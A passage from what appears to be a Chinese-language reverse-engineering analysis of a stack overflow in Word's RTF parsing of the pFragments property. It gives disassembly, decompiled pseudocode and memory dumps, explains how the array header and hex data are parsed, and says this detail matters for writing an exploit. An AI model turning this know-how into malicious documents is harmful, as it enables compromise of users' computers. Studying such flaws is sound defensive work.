loc_327C0054           .text: 327C0035                 mov      ecx , [ebp +arg_0]             .text: 327C0038                 mov      eax , [ecx +0Ch ]               .text: 327C003B                 and      eax , 0FFFFh                   .text: 327C0040                 push     eax                  .text: 327C0041                 imul     eax , [ebp +arg_8]             .text: 327C0045                 add      eax , [ecx +10h ]               .text: 327C0048                 push     eax                  .text: 327C0049                 push     [ebp +Dst]           .text: 327C004C                 call     memcpy                       .text: 327C0051                 add      esp , 0Ch                      .text: 327C0054                 pop      ebp                           .text: 327C0055                 retn     0Ch                               |       |         ↓       ↓ .text: 32E595A4                 mov      eax , [ebp +arg_C]         .text: 32E595A7                 push     [ebp +arg_10]             .text: 32E595AA                 neg      eax                       .text: 32E595AC                 sbb      eax , eax                  .text: 32E595AE                 lea      ecx , [ebp +var_8]         .text: 32E595B1                 and      eax , ecx                  .text: 32E595B3                 push     eax                       .text: 32E595B4                 push     [ebp +arg_0]              .text: 32E595B7                 push     [ebp +var_10]             .text: 32E595BA                 call     sub_32E5941B             .text: 32E595BF                 test     al , al         |       |         ↓       ↓     ****************************************************************************************         char __userpurge sub_32E5941B@<al >(int  a1@<edi >, int  a2, int  a3, int  a4, int  a5)     ****************************************************************************************     .text: 32E5941B                 push     ebp                           .text: 32E5941C                 mov      ebp , esp                      .text: 32E5941E                 push     ecx                           .text: 32E5941F                 push     ecx                           .text: 32E59420                 push     ebx                           .text: 32E59421                 xor      ebx , ebx                      .text: 32E59423                 cmp      [ebp +arg_C], ebx              .text: 32E59426                 jnz      short loc_32E59439           .text: 32E59428                 push     33757061h     .text: 32E5942D                 call     sub_32E6AEA8    .text: 32E59432    .text: 32E59432 loc_32E59432:                              .text: 32E59432                 xor      al , al     .text: 32E59434    .text: 32E59434 loc_32E59434:                              .text: 32E59434                 pop      ebx     .text: 32E59435                 leave     .text: 32E59436                 retn     10h     .text: 32E59439     .text: 32E59439    .text: 32E59439 loc_32E59439:                               .text: 32E59439                 cmp      [ebp +arg_0], ebx              .text: 32E5943C                 mov      [ebp +var_8], ebx              .text: 32E5943F                 jz       short loc_32E59451           .text: 32E59441                 push     [ebp +arg_0]                  .text: 32E59444                 lea      eax , [ebp +var_8]             .text: 32E59447                 push     eax                           .text: 32E59448                 call     sub_32CF3807                 .text: 32E5944D                 test     eax , eax                              |       |             ↓       ↓         **************************************************             int  __stdcall sub_32CF3807(int  a1, int  a2)         **************************************************         .text: 32CF3807                 push     ebp                               .text: 32CF3808                 mov      ebp , esp                          .text: 32CF380A                 mov      eax , [ebp +arg_4]                 .text: 32CF380D                 lea      eax , loc_32CF3820[eax *8 ]         .text: 32CF3814                 mov      ecx , [eax +4 ]                     .text: 32CF3817                 and      ecx , 0FFh         .text: 32CF381D                 push     ecx         .text: 32CF381E                 push     dword  ptr  [eax ]        .text: 32CF3820 loc_32CF3820:                                   .text: 32CF3820                 push     [ebp +arg_0]        .text: 32CF3823                 call     sub_326CC86E        .text: 32CF3828                 pop      ebp         .text: 32CF3829                 retn     8 
  根据以上结果,我们可以知道,此异常是因为栈上的数据已经被破坏了之后,重新读取被破坏区域的栈数据,计算出一个不可访问的地址,并对其进行读取,造成非法内存访问。在函数sub_32E5955E中,通过0x066a55e0处的对象,调用了虚函数sub_327C002C,在这个虚函数中通过memcpy函数将样本中pFragments属性的值复制到栈上,但并未检查其复制长度,造成了栈溢出。pFragments属性数据的源地址和复制数据长度都已经解析完成,并保存在0x066a55e0处的对象的成员变量中。pFragments属性数据在栈上的起始地址为0x0011fdf4,而复制数据的长度为0xc8ac,0x0011fdf4+0xc8ac=0x0012c6a0小于0x00130000,所以没像在Windows XP中那样,在复制数据过程中就触发异常,而是在访问被破坏的栈数据后,造成非法内存访问。
0x33 pFragments属性数据“6;5;”的含义及其合法值 环境:
  这个点,我看网上的分析文章都没有介绍到,也可能有人写了,我没找到。如果没弄清楚这个,就无法成功编写利用程序,我们需要注意每一个细节,才能最终成功利用一个漏洞。
  在RTF v1.9.1版本的参考文档中(Document Area->Drawing Objects->Drawing Object Properties->Geometry),是这样介绍的:
Property 
Meaning 
Type of value 
Default 
 
 
pFragments 
Fragments are optional, additional parts to the shape. They allow the shape to contain multiple paths and parts. This property lists the fragments of the shape. 
Array 
Null 
 
 
  Fragments是可选的,形状的附加部分。它们允许形状包含多个路径和部件。此属性列出形状的Fragments。其属性值是一个Array,默认值为Null。
  数组的格式为由分号分隔的数字序列。 第一个数字表示数组中每个元素的大小(以字节为单位)。每个元素的字节数可以是2、4或8。当元素的大小为8时,每个元素表示为一组两个数字,但是根据下面的分析,每组数字使用的括号为"()",而非"{}"。第二个数字表示数组中的元素数。 例如,方形多边形的点可以写为:
1 {sv 8;4;{0,0};{100,0};{100,100};{0,100}} 
  这里已经说得比较清楚了,但是这些还不够,我们还需要通过具体的程序来进一步理解。我们需要找到程序中处理这部分的代码,仔细阅读。怎么找到,成为了一个新问题。
找关键位置所用方法:
1、前面调试时,关键对象的地址为0x066a55e0,但是每次重新调试,这个对象的位置都会改变,也有可能和之前的调试分配一样的地址。 
2、在Attach目标程序后,对0x066a55e0对象的前0x10字节内存下内存写断点(0x066a55e0的第一个dword为虚表指针,0x066a55ec为复制长度0xc8ac所在对象成员变量的内存地址)。 
3、再运行程序,如果已经执行到之前调试奔溃时代码区域的最顶层函数sub_32E5955E,还未断下来,则关闭调试器,重新再来一遍。 
4、直到某一次程序对关键对象的地址分配到0x066a55e0,则会断在对关键对象初始化的位置,这时栈窗口会出现"pFragments"和"11111111acc8d9e9bdbfaf3c......"的字样,此时的代码就是Office处理"pFragments"属性值的代码片段。 
5、然后根据调用堆栈,可以找到当前函数地址,以及当前函数的调用地址,及其父函数等等。 
 
 
  如此,我们就已经找到处理"pFragments"属性值的代码片段。对“6;5;”的处理代码应该就在附近,我们对找到的代码片段进行详细分析,本次调试记录中的关键对象地址为0x05D755C8,在MSO_379得到分配,画“<----”的为关键位置,处理后的结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 *******************************************     所属模块: wwlib.dll     int  __stdcall sub_31FD724E(int  *a1) ******************************************* .text: 31FD724E                 push     ebp                           .text: 31FD724F                 mov      ebp , esp                      .text: 31FD7251                 sub      esp , 64h                      .text: 31FD7254                 push     ebx                           .text: 31FD7255                 push     esi                           .text: 31FD7256                 mov      esi , [ebp +arg_0]             .text: 31FD7259                 mov      ebx , [esi ]                   .text: 31FD725B                 and      [ebp +arg_0], 0                .text: 31FD725F                 push     edi                           .text: 31FD7260                 mov      edi , [ebx +8Ch ]               .text: 31FD7266                 push     0                             .text: 31FD7268                 push     edi                           .text: 31FD7269                 mov      [ebp +var_10], ebx             .text: 31FD726C                 call     sub_312C7431                 .text: 31FD7271                 mov      edi , [edi +556h ]              .text: 31FD7277                 mov      eax , [ebx +761Ch ]             .text: 31FD727D                 lea      ecx , [ebp +var_64]            .text: 31FD7280                 push     ecx                           .text: 31FD7281                 push     dword  ptr  [ebx +7670h ]        .text: 31FD7287                 mov      [ebp +var_14], eax             .text: 31FD728A                 mov      eax , [edi ]                   .text: 31FD728C                 push     edi                           .text: 31FD728D                 mov      [ebp +var_18], edi             .text: 31FD7290                 call     dword  ptr  [eax +158h ]                 |       |         ↓       ↓     *****************************************************************************         所属模块: mso.dll         signed int  __stdcall sub_329202C7(int  a1, const CHAR *a2, _DWORD  *a3)     *****************************************************************************     .text: 329202C7                 push     ebp                               .text: 329202C8                 mov      ebp , esp                          .text: 329202CA                 push     [ebp +arg_4]                      .text: 329202CD                 push     1                                 .text: 329202CF                 call     MSO_7788                                 |       |             ↓       ↓         .text: 32604566                  mov      eax , dword_33426764                  .text: 3260456B                 retn                                              |       |             ↓       ↓     .text: 329202D4                 push     eax                               .text: 329202D5                 call     MSO_763                          .text: 329202DA                 cmp      eax , 0FFFFh                       .text: 329202DF                 jz       loc_32D8FCA5                     .text: 329202E5                 push     esi                               .text: 329202E6                 push     edi                               .text: 329202E7                 mov      edi , [ebp +arg_8]                 .text: 329202EA                 push     eax                               .text: 329202EB                 mov      [edi +14h ], eax                    .text: 329202EE                 call     MSO_806                          .text: 329202F3                 push     5                                 .text: 329202F5                 pop      ecx                               .text: 329202F6                 mov      esi , eax                          .text: 329202F8                 rep  movsd                                 .text: 329202FA                 xor      eax , eax                          .text: 329202FC                 pop      edi                               .text: 329202FD                 inc      eax                               .text: 329202FE                 pop      esi                               .text: 329202FF    .text: 329202FF loc_329202FF:                               .text: 329202FF                 pop      ebp     .text: 32920300                  retn     0Ch     |       |     ↓       ↓ .text: 31FD7296                 test     eax , eax                      .text: 31FD7298                 jz       loc_31FD731E    .text: 31FD729E                 mov      eax , [ebp +var_64]            .text: 31FD72A1                 cmp      eax , 11h         .text: 31FD72A4                 ja       short loc_31FD72E6 .text: 31FD72A6                 movzx    eax , ds :byte_31FD723C[eax ]   .text: 31FD72AD                 jmp      ds :off_31FD7210[eax *4 ]     |       |     ↓       ↓ .text: 319C0556 loc_319C0556:                           .text: 319C0556                                                      .text: 319C0556                 mov      esi , [ebx +7674h ]                 023B0000  36  3B 35  3B 31  31  31  31  31  31  31  31  61  63  63  38   6      023B0010  34  31  36  31  33  30  34  31  36  31  33  31  34  31  36  31   4161304161314161      023B0020  33  32  34  31  36  31  33  33  34  31  36  31  33  34  34  31   3241613341613441      023B0030  36  31  33  35  34  31  36  31  33  36  34  31  36  31  33  37   6135416136416137      023B0040  34  31  36  31  33  38  34  31  36  31  33  39  34  31  36  32   4161384161394162      023B0050  33  30  34  31  36  32  33  31  34  31  36  32  33  32  34  31   3041623141623241      023B0060  36  32  33  33  34  31  36  32  33  34  34  31  36  32  33  35   6233416234416235      023B0070  34  31  36  32  33  36  34  31  36  32  33  37  34  31  36  32   4162364162374162      023B0080  33  38  34  31  36  32  33  39  34  31  36  33  33  30  34  31   3841623941633041      023B0090  36  33  33  31  34  31  36  33  33  32  34  31  36  33  33  33   6331416332416333      023B00A0  34  31  36  33  33  34  34  31  36  33  33  35  34  31  36  33   4163344163354163      023B00B0  33  36  34  31  36  33  33  37  34  31  36  33  33  38  34  31   3641633741633841  .text: 319C055C                 mov      eax , esi                      .text: 319C055E loc_319C055E:                           .text: 319C055E                 cmp      byte  ptr  [esi ], 3Bh           .text: 319C0561                 jz       loc_315E7ED1                 .text: 319C0567                 inc      esi                           .text: 319C0568                 cmp      byte  ptr  [esi ], 0             .text: 319C056B                 jnz      short loc_319C055E               |       |     ↓       ↓ 315E7ED1    C606 00             mov  byte  ptr  ds :[esi ],0x0              315E7ED4    46                  inc  esi                                315E7ED5    E9 93863D00        jmp  wwlib.319C056D                        |       |     ↓       ↓ .text: 319C056D loc_319C056D:                           .text: 319C056D                 push     eax                           .text: 319C056E                 call     sub_31BAF3C6                         |       |         ↓       ↓     ******************************************         所属模块: wwlib.dll         int  __stdcall sub_31BAF3C6(int  a1)     ******************************************     .text: 31BAF3C6                 push     ebp                               .text: 31BAF3C7                 mov      ebp , esp                          .text: 31BAF3C9                 push     esi                               .text: 31BAF3CA                 push     [ebp +arg_0]                      .text: 31BAF3CD                 xor      esi , esi                          .text: 31BAF3CF                 call     sub_3203D37F                             |       |             ↓       ↓         ************************************************             所属模块: wwlib.dll             _BYTE  *__stdcall sub_3203D37F(_BYTE  *a1)         ************************************************         .text: 3203D37F                 push     ebp                               .text: 3203D380                 mov      ebp , esp                          .text: 3203D382                 mov      eax , [ebp +arg_0]                 .text: 3203D385 loc_3203D385:                                   .text: 3203D385                 mov      cl , [eax ]                        .text: 3203D387                 cmp      cl , 9                             .text: 3203D38A                 jz       loc_31602C3A                     .text: 3203D390                 cmp      cl , 20h                           .text: 3203D393                 jz       loc_31602C3A                     .text: 3203D399                 pop      ebp                               .text: 3203D39A                 retn     4                                     |       |             ↓       ↓     .text: 31BAF3D4    .text: 31BAF3D4 loc_31BAF3D4:                               .text: 31BAF3D4                 mov      cl , [eax ]                        .text: 31BAF3D6                 cmp      cl , 30h                           .text: 31BAF3D9                 jnb      short loc_31BAF3B4                   |       |         ↓       ↓     .text: 31BAF3B4 loc_31BAF3B4:                               .text: 31BAF3B4                 inc      eax                               .text: 31BAF3B5                 cmp      cl , 39h                           .text: 31BAF3B8                 ja       short loc_31BAF3DB               .text: 31BAF3BA                 imul     esi , 0Ah                          .text: 31BAF3BD                 movzx    ecx , cl                           .text: 31BAF3C0                 lea      esi , [esi +ecx -30h ]               .text: 31BAF3C4                 jmp      short loc_31BAF3D4                   |       |         ↓       ↓     .text: 31BAF3D4    .text: 31BAF3D4 loc_31BAF3D4:                               .text: 31BAF3D4                 mov      cl , [eax ]                        .text: 31BAF3D6                 cmp      cl , 30h                           .text: 31BAF3D9                 jnb      short loc_31BAF3B4               .text: 31BAF3DB loc_31BAF3DB:                               .text: 31BAF3DB                 mov      eax , esi                          .text: 31BAF3DD                 pop      esi                               .text: 31BAF3DE                 pop      ebp                               .text: 31BAF3DF                 retn     4                                 |       |     ↓       ↓ .text: 319C0573                 mov      edi , eax                      .text: 319C0575                 mov      eax , esi                      .text: 319C0577.text: 319C0577 loc_319C0577:                          .text: 319C0577                 cmp      byte  ptr  [esi ], 0             .text: 319C057A                 jnz      loc_31E269F1                     |       |     ↓       ↓ .text: 31E269F1                 cmp      byte  ptr  [esi ], 3Bh           .text: 31E269F4                 jz       short loc_31E269FC           .text: 31E269F6                 inc      esi                           .text: 31E269F7                 jmp      loc_319C0577                     |       |     ↓       ↓ .text: 31E269FC                 mov      byte  ptr  [esi ], 0             .text: 31E269FF                 inc      esi                           .text: 31E26A00                 jmp      loc_319C0580                     |       |     ↓       ↓ .text: 319C0580 loc_319C0580:                           .text: 319C0580                 push     eax                           .text: 319C0581                 call     sub_31BAF3C6                 .text: 319C0586                 mov      [ebp +ppstm], eax              .text: 319C0589                 lea      eax , [ebp +var_8]             .text: 319C058C                 push     eax                           .text: 319C058D                 push     edi                           .text: 319C058E                 call     MSO_379                              |       |         ↓       ↓     ************************************************************         所属模块: mso.dll         signed int  __stdcall MSO_379(__int16 a1, _DWORD  *a2)     ************************************************************     .text: 326CCB92                 push     ebp                           .text: 326CCB93                 mov      ebp , esp                      .text: 326CCB95                 push     esi                           .text: 326CCB96                 push     18h                           .text: 326CCB98                 call     _MsoPvAllocCore@4      .text: 326CCB9D                 test     eax , eax                      .text: 326CCB9F                 jz       loc_32C9662C                 .text: 326CCBA5                 mov      dword  ptr  [eax ], mso.32A0C8C4     .text: 326CCBAB                 mov      esi , eax                      .text: 326CCBAD    .text: 326CCBAD loc_326CCBAD:                              .text: 326CCBAD                 test     esi , esi                      .text: 326CCBAF                 jz       loc_32C96633                 .text: 326CCBB5                 mov      ax , [ebp +arg_0]              .text: 326CCBB9                 push     4                             .text: 326CCBBB                 mov      [esi +0Ch ], ax                 .text: 326CCBBF                 push     4                             .text: 326CCBC1                 lea      eax , [esi +4 ]                 .text: 326CCBC4                 push     eax                           .text: 326CCBC5                 call     MSO_501                              |       |             ↓       ↓         ****************************************************************             所属模块: mso.dll             signed int  __stdcall MSO_501(int  a1, __int16 a2, int  a3)         ****************************************************************         .text: 326098B5                 push     ebp                               .text: 326098B6                 mov      ebp , esp                          .text: 326098B8                 push     0                                 .text: 326098BA                 push     [ebp +arg_8]                      .text: 326098BD                 push     [ebp +arg_4]                      .text: 326098C0                 push     [ebp +arg_0]                      .text: 326098C3                 call     sub_32608E17                             |       |                 ↓       ↓             *****************************************************************************                 所属模块: mso.dll                 signed int  __stdcall sub_32608E17(int  a1, __int16 a2, int  a3, int  a4)             *****************************************************************************             .text: 32608E17                 push     ebp                                   .text: 32608E18                 mov      ebp , esp                              .text: 32608E1A                 push     esi                                   .text: 32608E1B                 mov      esi , [ebp +arg_0]                     .text: 32608E1E                 push     edi                                   .text: 32608E1F                 mov      edi , [ebp +arg_8]                     .text: 32608E22                 lea      eax , [ebp +arg_0]                     .text: 32608E25                 push     eax                                   .text: 32608E26                 movzx    eax , word  ptr  [esi +8 ]                .text: 32608E2A                 push     edi                                   .text: 32608E2B                 push     eax                                   .text: 32608E2C                 call     sub_32608E81            .text: 32608E31                 test     eax , eax                              .text: 32608E33                 jz       loc_32BD823F                         .text: 32608E39                 mov      eax , [ebp +arg_4]                     .text: 32608E3C                 movzx    ecx , word  ptr  [esi +8 ]                .text: 32608E40                 and      eax , 7FFFh                            .text: 32608E45                 shl      eax , 10h                              .text: 32608E48                 or       eax , ecx                              .text: 32608E4A                 mov      ecx , [ebp +arg_C]                     .text: 32608E4D                 xor      edx , edx                              .text: 32608E4F                 cmp      edi , edx                              .text: 32608E51                 mov      [esi +8 ], eax                          .text: 32608E54                 lea      eax , [esi +0Ch ]                       .text: 32608E57                 mov      [esi ], edx                            .text: 32608E59                 mov      [esi +4 ], edx                          .text: 32608E5C                 mov      [eax ], edx                            .text: 32608E5E                 mov      [esi +10h ], ecx                        .text: 32608E61                 jbe      short loc_32608E78                   .text: 32608E63                 push     ecx                                   .text: 32608E64                 push     eax                                   .text: 32608E65                 push     [ebp +arg_0]                          .text: 32608E68                 call     MSO_234                              .text: 32608E6D                 test     eax , eax             .text: 32608E6F                 jl       loc_32BD823F             .text: 32608E75                 mov      [esi +4 ], edi                          .text: 32608E78            .text: 32608E78 loc_32608E78:                                    .text: 32608E78                 xor      eax , eax                              .text: 32608E7A                 inc      eax                                   .text: 32608E7B            .text: 32608E7B loc_32608E7B:                                      .text: 32608E7B                 pop      edi                                   .text: 32608E7C                 pop      esi                                   .text: 32608E7D                 pop      ebp                                   .text: 32608E7E                 retn     10h                 |       |                 ↓       ↓         .text: 326098C8                 pop      ebp                               .text: 326098C9                 retn     0Ch             |       |             ↓       ↓     .text: 326CCBCA                 test     eax , eax                          .text: 326CCBCC                 jz       loc_32C9663A                     .text: 326CCBD2                 mov      eax , [ebp +arg_4]                 .text: 326CCBD5                 mov      [eax ], esi                        .text: 326CCBD7                 xor      eax , eax                          .text: 326CCBD9                 inc      eax                               .text: 326CCBDA    .text: 326CCBDA loc_326CCBDA:                             .text: 326CCBDA                 pop      esi                               .text: 326CCBDB                 pop      ebp                               .text: 326CCBDC                 retn     8 
  通过仔细分析,我们可以发现,对“pFragments”属性数据的处理逻辑,都在wwlib.dll的sub_31FD724E函数中,但是分析了这么久,只找到了“6;5;”中的“6”和“5”,也就是数组元素的大小和数组元素个数都使用10进制表示的,未做其他判断。从前面rtf的文档中关于“pFragments”属性的介绍可以知道,数组元素的大小可以为2、4或8,这个并没有找到。我们通过IDA的F5反编译功能,查看sub_31FD724E的伪代码,或许会发现点什么:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 int  __stdcall sub_31FD724E (int  *a1)      ......     _BYTE *temp_ptr;      int  el_size_ptr;      int  el_size;      int  el_count_ptr;      int  byte_num;      HGLOBAL mem_ptr;      int  index;      char  *mem_lock_ptr;      unsigned  __int8 chr_hex;      char  chr;      char  new_char;      unsigned  __int8 chr_hex1;      _BYTE *group_part_ptr2;      _BYTE *group_part_ptr;      char  current_char;      int  count1;      _BYTE *array_element_ptr1;      int  count;      _BYTE *array_element_ptr;      int  result;      int  case_num;      int  group_part_value1;      int  group_part_value2;      int  array_element_value;      int  array_element_value1;      int  Src;      LPCVOID pMem;      _BYTE *group_part_ptr1;      int  *count2;      int  *key_object;      LPSTREAM el_count;      ......     result = (*(int  (__stdcall **)(int  *, int , int  *))(v44 + 344 ))(v42, v43, &case_num);      if  ( !result )         return  result;     result = case_num;      switch  ( case_num )     {         ......         case  6 :             temp_ptr = (_BYTE *)*((_DWORD *)v39 + 0x1D9D );             el_size_ptr = *((_DWORD *)v39 + 0x1D9D );             break ;         ......         default :             ......     }          while  ( *temp_ptr != ';'  )     {         if  ( !*++temp_ptr )             goto  LABEL_25;     }     *temp_ptr++ = 0 ; LABEL_25:     el_size = sub_31BAF3C6(el_size_ptr);      el_count_ptr = (int )temp_ptr;     while  ( *temp_ptr )     {         if  ( *temp_ptr == ';'  )         {             *temp_ptr++ = 0 ;             break ;         }         ++temp_ptr;     }     el_count = (LPSTREAM)sub_31BAF3C6(el_count_ptr);                result = MSO_379(el_size, &key_object);     if  ( !result )         return  result;          switch  ( el_size )     {         case  2 :             count = 0 ;             if  ( (signed  int )el_count <= 0  )                 goto  LABEL_47;             while  ( 1  )             {                 array_element_ptr = temp_ptr;                 while  ( 1  )                 {                     if  ( !*temp_ptr )                         goto  LABEL_88;                     if  ( *temp_ptr == ';'  )                         break ;                     ++temp_ptr;                 }                 *temp_ptr++ = 0 ;         LABEL_88:                 array_element_value = (unsigned  __int16)sub_32046D00(array_element_ptr);                  if  ( !(*(int  (__stdcall **)(int  *, int  *, int ))(*key_object + 12 ))(key_object, &array_element_value, count) )                     return  (*(int  (__stdcall **)(int  *))(*key_object + 4 ))(key_object);                 if  ( ++count >= (signed  int )el_count )                     goto  LABEL_47;             }         case  4 :             count1 = 0 ;             if  ( (signed  int )el_count <= 0  )                 goto  LABEL_47;             while  ( 1  )             {                 array_element_ptr1 = temp_ptr;                 while  ( 1  )                 {                     if  ( !*temp_ptr )                         goto  LABEL_79;                     if  ( *temp_ptr == ';'  )                         break ;                     ++temp_ptr;                 }                 *temp_ptr++ = 0 ;         LABEL_79:                 array_element_value1 = sub_32046D00(array_element_ptr1);                 if  ( !(*(int  (__stdcall **)(int  *, int  *, int ))(*key_object + 12 ))(key_object, &array_element_value1, count1) )                     return  (*(int  (__stdcall **)(int  *))(*key_object + 4 ))(key_object);                 if  ( ++count1 >= (signed  int )el_count )                     goto  LABEL_47;             }         case  8 :                          group_part_ptr2 = 0 ;             group_part_ptr1 = 0 ;             count2 = 0 ;             if  ( (signed  int )el_count <= 0  )                 goto  LABEL_47;             while  ( !*temp_ptr )             {             LABEL_72:                 group_part_value1 = sub_32046D00(group_part_ptr1);                 group_part_value2 = sub_32046D00(group_part_ptr2);                 if  ( !(*(int  (__stdcall **)(int  *, int  *, int  *))(*key_object + 12 ))(key_object, &group_part_value1, count2) )                     return  (*(int  (__stdcall **)(int  *))(*key_object + 4 ))(key_object);                 count2 = (int  *)((char  *)count2 + 1 );                 if  ( (signed  int )count2 >= (signed  int )el_count )                     goto  LABEL_47;             }             group_part_ptr = temp_ptr + 1 ;             while  ( 1  )             {                 current_char = *temp_ptr;                 if  ( *temp_ptr == ';'  )                 {                     *temp_ptr++ = 0 ;                     goto  LABEL_72;                 }                 if  ( current_char == '('  )                 {                     group_part_ptr1 = group_part_ptr;                 }                 else                  {                     if  ( current_char == ','  )                     {                         group_part_ptr2 = group_part_ptr;                     }                     else  if  ( current_char != ')'  )                     {                         goto  LABEL_71;                     }                     *temp_ptr = 0 ;                 }         LABEL_71:                 ++temp_ptr;                 ++group_part_ptr;                 if  ( !*temp_ptr )                   goto  LABEL_72;             }     }     byte_num = MSO_294(temp_ptr);                      count2 = (int  *)byte_num;     mem_ptr = GlobalAlloc(0x40 u, (byte_num + 1 ) / 2 );      index = 0 ;     mem_lock_ptr = (char  *)GlobalLock(mem_ptr);     pMem = mem_lock_ptr;     if  ( (signed  int )count2 <= 0  )         goto  LABEL_46;               do      {         if  ( pFragments_value[index] < (unsigned  __int8)'0'  )             goto  LABEL_44;         *mem_lock_ptr = 0 ;         chr_hex = pFragments_value[index];         if  ( chr_hex >= '0'  && chr_hex <= '9'  )         {             chr = chr_hex - '0' ; LABEL_36:             *mem_lock_ptr = chr;             goto  LABEL_37;         }         if  ( chr_hex >= 'a'  && chr_hex <= 'f'  )              {             chr = (chr_hex | ' ' ) - 87 ;                          goto  LABEL_36;         } LABEL_37:         *mem_lock_ptr *= 16 ;                 new_char = *mem_lock_ptr;            do              ++index;         while  ( pFragments_value[index] < (unsigned  __int8)'0'  && index < (signed  int )count2 );         chr_hex1 = pFragments_value[index];         if  ( chr_hex1 < '0'  || chr_hex1 > '9'  )         {             if  ( chr_hex1 >= 'a'  && chr_hex1 <= 'f'  )                                *mem_lock_ptr = new_char + (chr_hex1 | ' ' ) - 87 ;         }         else          {             *mem_lock_ptr = chr_hex1 + new_char - '0' ;         }         ++mem_lock_ptr; LABEL_44:         ++index;     }     while  ( index < (signed  int )count2 );     v39 = group_part_ptr1; LABEL_46:     v17 = GlobalHandle(pMem);                          CreateStreamOnHGlobal(v17, 1 , &el_count);     (*(void  (__stdcall **)(int  *, LPSTREAM))(*key_object + 0x38 ))(key_object, el_count);     el_count->lpVtbl->Release(el_count);     ...... } 
  通过对sub_31FD724E函数的伪代码分析可知,Word在解析完“pFragments”属性值数组参数el_size后,会利用一个switch-case语句对el_size的值进行判断,如果为2,4,8会进行额外处理,非2,4,8则默认不会处理。而如果为0的话,会在MSO_379->MSO_501->sub_32608E17->sub_32608E81中的"32608EAE div ecx"处出错,el_size被当做”div ecx”中的除数(ecx),造成除数为0的错误。
  继续往下执行,Word会对“pFragments”属性值数组参数后面的数据进行处理。在RTF中,字符“A”是以其16进制值“41”的16进制值“3431”进行存储的,所以Word会对RTF文档中的数据进行一次转化,转化过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 Address   0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F   ASCII 023A0004  31 31 31 31 31 31 31 31 61 63 63 38 34 31 36 31  11111111acc84161 023A0014  33 30 34 31 36 31 33 31 34 31 36 31 33 32 34 31  3041613141613241 023A0024  36 31 33 33 34 31 36 31 33 34 34 31 36 31 33 35  6133416134416135 023A0034  34 31 36 31 33 36 34 31 36 31 33 37 34 31 36 31  4161364161374161 023A0044  33 38 34 31 36 31 33 39 34 31 36 32 33 30 34 31  3841613941623041 023A0054  36 32 33 31 34 31 36 32 33 32 34 31 36 32 33 33  6231416232416233 023A0064  34 31 36 32 33 34 34 31 36 32 33 35 34 31 36 32  4162344162354162 023A0074  33 36 34 31 36 32 33 37 34 31 36 32 33 38 34 31  3641623741623841 023A0084  36 32 33 39 34 31 36 33 33 30 34 31 36 33 33 31  6239416330416331 023A0094  34 31 36 33 33 32 34 31 36 33 33 33 34 31 36 33  4163324163334163 023A00A4  33 34 34 31 36 33 33 35 34 31 36 33 33 36 34 31  3441633541633641 023A00B4  36 33 33 37 34 31 36 33 33 38 34 31 36 33 33 39  6337416338416339         |       |                                   |       |         ↓       ↓                                   ↓       ↓ Address   0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F   ASCII 003AFF68  11 11 11 11 AC C8 41 61 30 41 61 31 41 61 32 41  Aa0Aa1Aa2A 003AFF78  61 33 41 61 34 41 61 35 41 61 36 41 61 37 41 61  a3Aa4Aa5Aa6Aa7Aa 003AFF88  38 41 61 39 41 62 30 41 62 31 41 62 32 41 62 33  8Aa9Ab0Ab1Ab2Ab3 003AFF98  41 62 34 41 62 35 41 62 36 41 62 37 41 62 38 41  Ab4Ab5Ab6Ab7Ab8A 003AFFA8  62 39 41 63 30 41 63 31 41 63 32 41 63 33 41 63  b9Ac0Ac1Ac2Ac3Ac 003AFFB8  34 41 63 35 41 63 36 41 63 37 41 63 38 41 63 39  4Ac5Ac6Ac7Ac8Ac9 003AFFC8  41 64 30 41 64 31 41 64 32 41 64 33 41 64 34 41  Ad0Ad1Ad2Ad3Ad4A 003AFFD8  64 35 41 64 36 41 64 37 41 64 38 41 64 39 41 65  d5Ad6Ad7Ad8Ad9Ae 003AFFE8  30 41 65 31 41 65 32 41 65 33 41 65 34 41 65 35  0Ae1Ae2Ae3Ae4Ae5 003AFFF8  41 65 36 41 65 37 41 65 38 41 65 39 41 66 30 41  Ae6Ae7Ae8Ae9Af0A 003B0008  66 31 41 66 32 41 66 33 41 66 34 41 66 35 41 66  f1Af2Af3Af4Af5Af 003B0018  36 41 66 37 41 66 38 41 66 39 41 67 30 41 67 31  6Af7Af8Af9Ag0Ag1 
